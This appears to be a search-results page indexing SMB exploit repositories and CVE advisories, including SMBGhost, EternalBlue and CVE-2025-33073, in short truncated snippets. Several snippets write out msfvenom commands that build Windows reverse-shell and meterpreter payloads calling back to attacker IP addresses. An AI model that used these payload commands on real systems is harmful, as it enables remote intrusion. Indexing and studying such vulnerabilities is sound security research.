395 matches found
SMBGhost_RCE_PoC
SMBGhostRCEPoC PoC de RCE para CVE-2020-0796 "SMBGhost" ¡Solo para fines demostrativos! Úsalo únicamente como referencia. En serio. No ha sido probado fuera de mi entorno de laboratorio. Se escribió rápidamente y necesita trabajo para ser más fiable. A veces genera un BSOD. Usarlo para cualquier...
MS17-010_CVE-2017-0143
MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker Usando msfvenom para generar un payload: root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: Especifica el payload una shell TCP reversa para Windows. LHOST=10.10.14.4:...
CVE-2022-24500
Exploit RCE CVE-2022-24500 Vulnerabilidad de ejecución remota de código en Windows SMB Vulnerabilidad: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 paso 1 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f r...
SMB-Protocol-Vulnerability_CVE-2017-0144
LAB: ATAQUE AL SISTEMA OPERATIVO WINDOWS BASADO EN LA VULNERABILIDAD DEL PROTOCOLO SMB. 1. DESCRIPCIÓN 2. INTRODUCCIÓN 3. PREPARACIÓN 4. REALIZACIÓN DEL ATAQUE 5. CÓMO PREVENIR 1. DESCRIPCIÓN En este laboratorio usaremos dos computadoras para simular un ataque basado en la vulnerabilidad del...
CVE-2020-0796
CVE-2020-0796 Explicación de CVE-2020-0796 e investigación de la vulnerabilidad para el proyecto del trimestre CENG325 para principiantes ¿Cómo explotar? Generación de payload de usuario para reverse shell: msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f...
SMBGhost-LPE-Metasploit-Module
SMBGhost-LPE-Metasploit-Module Esta es una implementación de la vulnerabilidad CVE-2020-0796, también conocida como SMBGhost, compatible con Metasploit Framework Notas: Este módulo está diseñado para usarse cuando tienes un shell válido para escalar privilegios. Puedes cambiar el payload, si dese...
Vulnerability-Research-CVE-2017-0144
Vulnerability-Research-CVE-2017-0144 LAB: ATAQUE AL SISTEMA OPERATIVO WINDOWS BASADO EN LA VULNERABILIDAD DEL PROTOCOLO SMB. I. DESCRIPCIÓN En este laboratorio usaremos dos computadoras para simular un ataque basado en la vulnerabilidad del protocolo SMB del sistema operativo Windows. Una máquina...
Blackash-CVE-2025-33073
✨ CVE-2025-33073: Windows SMB RCE Vulnerability 🚨 🔥 High-Severity Authenticated Remote Code Execution 🔥 Improper Access Control in Windows SMB Client CWE-284 🛡️ Key Details at a Glance...
windows-smb-vulnerability-framework-cve-2025-33073
Windows SMB Client Vulnerability Research Framework Author: cyberseallll Created: 2025 Overview I developed this research framework to analyze and understand CVE-2025-33073, a critical Windows SMB Client Elevation of Privilege vulnerability. This implementation provides comprehensive tools for...
CVE-2022-26937
PoC de Caída del Sistema de Archivos de Red de Windows CVE-2022-26937 root@kitploit: nt!KeBugCheckEx: fffff8038996efa0 48894c2408 mov qword ptr rsp+8,rcx ss:0018:ffffd000d589ae60=0000000000000139 1: kd !analyze -v Bugcheck Analysis KERNELSECURITYCHECKFAILURE 139 A kernel component has corrupted a...
CVE-2025-33073
CVE-2025-33073 — Windows SMB Client NTLM Reflection EoP Research writeup by Sentinel AI Defense. Defensive analysis only — no working exploit or PoC is published here. An improper access control flaw in the Windows SMB Client that revives NTLM reflection techniques thought to be mitigated — letti...
CVE-2026-72936
Use after free in Windows SMB Client allows an unauthorized attacker to execute code over a network...
CVE-2026-69618
Out-of-bounds read in Windows SMB Client allows an authorized attacker to disclose information locally...
CVE-2026-69572
Out-of-bounds read in Windows SMB Client allows an authorized attacker to disclose information over a network...
CVE-2026-69544
Heap-based buffer overflow in Windows SMB Client allows an authorized attacker to elevate privileges locally...
CVE-2026-69403
Missing authorization in Windows SMB Server allows an authorized attacker to disclose information locally...
CVE-2026-69374
Allocation of resources without limits or throttling in Windows SMB Server allows an authorized attacker to deny service over a network...
EUVD-2026-73664
Use after free in Windows SMB Client allows an unauthorized attacker to execute code over a network...
CVE-2026-72936
CVE-2026-72936 is a use-after-free vulnerability in the Windows SMB Client that allows an unauthorized, remote attacker to achieve remote code execution over the network. The CVSS 3.1 base score is 8.1 (HIGH) , reflecting a network attack vector with high complexity, no required privileges, and n...